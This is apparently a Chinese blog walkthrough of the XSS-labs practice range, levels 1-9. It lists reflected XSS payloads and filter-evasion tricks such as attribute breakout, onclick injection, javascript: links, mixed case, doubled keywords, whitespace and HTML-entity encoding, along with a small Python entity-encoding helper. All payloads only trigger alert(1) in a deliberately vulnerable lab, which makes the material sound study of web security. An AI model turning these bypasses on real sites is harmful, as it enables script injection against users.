文章目录

  • 环境搭建
  • 第一关
  • 第二关
  • 第三关
  • 第四关
  • 第五关
  • 第六关
  • 第七关
  • 第八关
  • 第九关

环境搭建

XSSlab的搭建很简单,下载好压缩包,解压到phpstudy的WWW目录下即可访问。
源码下载(t8t7)

如果不想自己搭建的话,网上有很多搭建好的可以直接测试,比如:
https://xss.angelo.org.cn

前几关还是比较水的,直接把做题过程记录下来好了。。。


第一关


如图所示,第一关展示的是我们可以通过url中的?name参数,向网站提交数据,然后返回到页面上。

那么直接试一下把name的值提交成弹框。

level1.php?name=<script>alert(1)</script>

成功通关!!!


第二关


第二关是可以在输入框中输入一个数据提交给服务器,然后提交的数据是会被显示到页面上的。

此时再使用第一关的payload已经是不行了。看一下源码:

在这里,提交的scirpt被当作页面的内容和value的值处理了,因此没有形成html结构被浏览器执行。

这里有两种通关思路:

  1. 尝试一下闭合value,然后构造一个script标签进去。
    在输入框中输入以下代码:

    "><script>alert(1)</script><"
    

    这样,原本的页面结构就会变成

    <input name=keyword  value=""><script>alert(1)</script><"">
    

    从而再浏览器加载的时候执行弹窗。

  2. 也可构造一个点击事件:

    " οnclick="alert(1)
    

    这样页面结构同样会改动

    <input name=keyword  value="" onclick="alert(1)">
    

    依旧可以实现弹框。


第三关

先输入一个<script>alert(1)</script>看看效果,

通过源码可以看到,输入的<被html实体代替了,因此不会被当作页面结构处理。但是可以通过闭合的方式构造点击事件。

payload:

' οnclick='alert(1)

第四关

第四关是过滤掉了尖括号,无法构造新的标签。但是依然可以原本的标签中添加onclick属性。

" οnclick="alert(1)

第五关

上来就是一个" onclick="alert(1)输进去,看看效果,发现没有弹框,看源码!!

这里的onclick被改成了o_nclick。。。。
那么网站可能是会自动识别onclick这个字眼;输入"><script>alert(1)</script><"时,结果是script被改为了scr_ipt

遇到这种检测机制,首先想到的就是大小写绕过,试一了一下,发现不可以。

既然无法新增script标签和为已有标签增添事件。那么可以尝试一下html的其他标签–a标签。

"> <a href=javascript:alert(1)><"

将以上内容输入以后,会得到下图效果

点一下就会弹框通关。


第六关

这一关和之前的第五关一样,会识别onclickhref等关键字,然后进行改写。
但是这一关可以使用大小写混写绕过。

" OnClick="alert(1)

或者添加一个a标签(仍需要混写href绕过检测)

"> <a hRef=javascript:alert(1)>

第七关

第七关会对一些关键字进行识别,然后删除,比如<a href>会被改成<a>
对于这种防御机制,常用的方法就是双写绕过。
比如网站会识别script,我们就将其构造成scscriptript提交,通过网站的删除后,就会变成script;从而达到注入效果。

这一关会删除on,那么我们用如下方法绕过:

" oonnclick="alert(1)

或者双写a标签中的href通关

"><a hrhrefef=javascripscriptt:alert(1)>

或者双写构造新的script通关。

"><scscriptript>alert(1)</scriscriptpt>

第八关

输入" onclick="alert(1)测试并查看源代码。

可以看到,这里的引号被实体代替了。因此无法使用引号构造闭合,但是网页提供了a标签,并且输入的内容会被赋值给a标签的href属性,那么我们可以在href中插入javascript:alert(1)实现弹框。

直接输入javascript:alert(1)发现script会被识别改写,并且大小写绕过也不行。

那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。

符号 URL编码
制表 %09
换行 %0a
退格 %08

注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。

level8.php?keyword=javascr%09ipt%3Aalert(1)&submit=添加友情链接

还有一种方法可以使用提交框进行注入:&#x9
&#x9插入到关键字之中,如下:

javascr&#x9ipt:alert(1)

发现网上还有一种解决方案:
利用HTML实体编号进行绕过。
可以将javascript:alert(1)编码成
javascript:alert(1&#41
这样后端php不会对其进行改写,但是用户浏览器会将这些编码进行翻译,从而转换为javascript:alert(1)弹框。

这里是大佬写的函数(本人稍作修改):

def unicodeHtml(orgCode):fin = ';'.join('&#{}'.format(ord(x)) for x in orgCode)return fin

第九关

这一关和地八关的防护机制基本相同,思路同样是在a标签的href中进行注入。但是,此处对于href又添加了一个检测机制。

我们还拿上一关的javascr&#x9ipt:alert(1)检测发现,页面会提示我们输入的链接不合法。

这是因为后台会检测是否有http://字段,但是如果把http://javascr&#x9ipt:alert(1)直接构造在一起,弹框就无效了。因此需要把http://注释掉,这样后台依然能够检测到http://而又不会影响javascr&#x9ipt:alert(1)的弹框。

javascr&#x9ipt:alert(1) // http://

XSS挑战之旅(1-9)相关推荐

  1. XSS学习-XSS挑战之旅(二)

    前言:之前打XSS平台时,打到了第11关就没有继续了,现在有空了就继续打咯,再增加点关于XSS的知识. 第十一关 这关坑我好长时间,看了好多博客直接给说修改Referer,给截图中都有自带的Refer ...

  2. Docker下搭建XSS挑战之旅靶场

    我是在centos7下使用docker搭建xss挑战之旅靶场 一.先安装下docker容器 1.安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是device ...

  3. XSS挑战之旅---游戏通关攻略

    最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流. 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一 ...

  4. 从xss挑战之旅来重读xss(一)

    在开始这篇文章之前,先简单聊几句: xss很多时候是鸡肋,比如说self-xss 很多厂商都会注明拒收反射xss,如58src 遇到请证明危害性的说法就走,人家的潜台词也是拒收反射xss 遇到收反射x ...

  5. ubuntu使用docker搭建xss挑战之旅环境

    ubuntu使用docker搭建xss挑战之旅环境 (1)启动docker docker systemctl start docker (2)下载docker-compose部署容器 git clon ...

  6. XSS平台 XSS挑战之旅 解题记录 writeup

    XSS平台 XSS挑战之旅 解题记录 writeup level1 level2 level3 level4 level5 level6 level7 level8 level9 level10 le ...

  7. 使用docker搭建sqli-lab环境以及upload-labs环境 xss挑战之旅环境 搭建vulhub环境

    sqli-lab环境 1)查找sqli-lab环境 docker search sqli-labs 2)拉取镜像 docker pull acgpiano/sqli-labs 3) docker ru ...

  8. xss挑战之旅11-19关

    文章目录 前言 第11关:referer 第12关:User-Agent 第13关:cookie 第14关:exif xss 第15关:ng-include 第16关 第17关 第18关 第19关:f ...

  9. xss挑战之旅level1-level4,操作步骤配截图

    xss挑战之旅level1-level4,操作步骤配截图. 查看源代码发现弹窗直接属于语句令其弹窗 (2)提前闭合 (3)与第二题一样value提前闭合 (4)与第二题一样

  10. test.ctf8(XSS挑战之旅)解题记录

    xss平台网址:test.ctf8.com 过关条件:只有能够跳出完成得不错得提示框,即为过关 level1 第一关没啥好说得,入门题 payload <script>alert('abc ...

最新文章

  1. 使用 Python 的图像隐写术
  2. IntelliJ IDEA设置默认换行符
  3. 批量打印pdf并合并_CAD批量打印攻略
  4. [vue] 动态给vue的data添加一个新的属性时会发生什么?怎样解决?
  5. 《PostgreSQL服务器编程》一一1.8 程序设计最佳实践
  6. javascript -- 判断是否为某个数据类型
  7. WCF BasicHttpBinding 安全解析(3)默认安全设置(IIS宿主)
  8. python用来正常显示中文标签 plt.rcParams['font.sans-serif'] = ['SimHei']错误
  9. mfc切换office样式_VS2015下使用MFC操作Office(Word)
  10. 九爷带你玩转 php单元测试
  11. 如何快速向oracle插入大量数据,以及注意事项
  12. sql求和出现null时赋值为0
  13. SPSS大学生毕业生就业问题分析
  14. mac电脑开机是出现安全启动
  15. 使用php制作导航栏,如何制作简单导航栏
  16. 使用git进行版本控制
  17. matlab中rand(‘seed‘,任意符号)是干什么的?
  18. 《那些年啊,那些事——一个程序员的奋斗史》——103
  19. Android7.0 Phone应用源码分析(三) phone拒接流程分析
  20. 浅谈【漏洞复现】泛微ecology OA系统某接口存在数据库配置信息泄露漏洞

热门文章

  1. JAVA练习题17:文字版格斗游戏
  2. 笔记本突然无线和有线都不能使用
  3. 一个解决MacBook Pro 突然连接无线不能上网 方案
  4. 有“百兽之王”的碎碎念,配音神气又傲娇,可惜回头一笑气势全无
  5. 夏斌:半年宏观调控思路的建议
  6. win7计算机无法连接投影仪,win7系统下投影仪无法输出信号到电脑的解决方法
  7. jdk1.7.0_80下载与安装
  8. 学习笔记:物料接收到质检库存的几种不同方式
  9. Unity 获得周边最近的物体
  10. 图解数据中心冷热电三联供原理